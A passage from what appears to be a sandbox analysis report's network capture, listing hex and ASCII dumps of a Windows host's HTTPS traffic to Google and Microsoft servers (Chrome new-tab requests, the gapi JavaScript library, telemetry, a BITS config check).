trol-label0","left_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700317,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access
2024-11-20 06:48:12 UTC	360	IN	Data Raw: 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 49 64 3b 5f 2e 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 Data Ascii: ache-2.0\n*/\nvar Id;_.Gd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d
2024-11-20 06:48:12 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 4c 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4b 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 48 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 66 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 5b 49 64 28 5c 22 64 61 74 61 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 49 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 49 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 48 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b Data Ascii: 8000String(){return this.i}};_.Ld\u003dnew _.Kd(\"about:invalid#zClosurez\");_.Hd\u003dclass{constructor(a){this.fh\u003da}};_.Md\u003d[Id(\"data\"),Id(\"http\"),Id(\"https\"),Id(\"mailto\"),Id(\"ftp\"),new _.Hd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];
2024-11-20 06:48:12 UTC	1390	IN	Data Raw: 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 Data Ascii: 03d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.be\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d
2024-11-20 06:48:12 UTC	1390	IN	Data Raw: 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 67 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6c 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c 53 Data Ascii: "?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:le.hasOwnProperty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-\")\|\|_.ge(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};le\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",colspan:\"colS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49736	142.250.186.164	443	7768	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:11 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 06:48:12 UTC	933	IN	HTTP/1.1 200 OK Version: 697526041 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 20 Nov 2024 06:48:11 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 06:48:12 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-20 06:48:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49746	216.58.212.142	443	7768	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:15 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 06:48:15 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 19 Nov 2024 18:52:56 GMT Expires: Wed, 19 Nov 2025 18:52:56 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 42919 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-20 06:48:15 UTC	475	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-20 06:48:15 UTC	1390	IN	Data Raw: 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 Data Ascii: n a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw E
2024-11-20 06:48:15 UTC	1390	IN	Data Raw: 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 2e Data Ascii: efined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.assign=="function"?Object.
2024-11-20 06:48:15 UTC	1390	IN	Data Raw: 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 3a 68 28 74 68 69 73 2e 54 4a 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 53 64 61 3d 66 75 6e 63 74 69 Data Ascii: ;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject:h(this.TJ)}};e.prototype.Sda=functi
2024-11-20 06:48:15 UTC	1390	IN	Data Raw: 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 6b 29 7b 76 61 72 20 6c 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 2e 63 61 6c 6c 28 6b 2c 6c 2e 72 65 73 6f 6c 76 65 Data Ascii: totype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=function(h,k){var l=this.jF();try{h.call(k,l.resolve
2024-11-20 06:48:15 UTC	1390	IN	Data Raw: 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 66 26 26 63 3c 65 3b 29 69 66 28 64 5b 63 2b 2b 5d 21 3d 62 5b 68 2b 2b 5d 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 20 68 3e 3d 66 7d 7d Data Ascii: egular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for(var h=0;h<f&&c<e;)if(d[c++]!=b[h++])return!1;return h>=f}}
2024-11-20 06:48:15 UTC	1390	IN	Data Raw: 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 72 65 74 75 72 6e 20 63 28 6c 29 26 26 73 61 28 6c 2c 66 29 3f 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3a 76 6f 69 64 Data Ascii: (l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return this};k.prototype.get=function(l){return c(l)&&sa(l,f)?l[f][this.Ga]:void
2024-11-20 06:48:15 UTC	1390	IN	Data Raw: 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 21 21 64 28 74 68 69 73 2c 6b 29 2e 5a 65 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: h\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this.size=0};c.prototype.has=function(k){return!!d(this,k).Ze};c.prototype.get=function(
2024-11-20 06:48:15 UTC	1390	IN	Data Raw: 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 75 72 6e 21 31 3b 66 3d 65 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 3d 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 2e 78 21 3d 34 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 3f 21 31 3a 65 2e 6e 65 Data Ascii: ]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)return!1;f=e.next();return f.done\|\|f.value[0]==c\|\|f.value[0].x!=4\|\|f.value[1]!=f.value[0]?!1:e.ne
2024-11-20 06:48:15 UTC	1390	IN	Data Raw: 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 3a 28 65 2d 3d 36 35 35 33 36 2c 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 3e 3e 3e 31 30 26 31 30 32 33 7c 35 35 32 39 36 29 2c 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 26 31 30 32 33 7c 35 36 33 32 30 29 29 7d 72 65 74 75 72 6e 20 63 7d 7d 29 3b 6e 61 28 Data Ascii: d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e):(e-=65536,c+=String.fromCharCode(e>>>10&1023\|55296),c+=String.fromCharCode(e&1023\|56320))}return c}});na(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49748	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:16 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 06:48:16 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=35828 Date: Wed, 20 Nov 2024 06:48:16 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49750	142.250.186.142	443	7768	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:48:16 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 904 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 06:48:16 UTC	904	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 32 30 38 35 32 39 34 33 30 32 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: 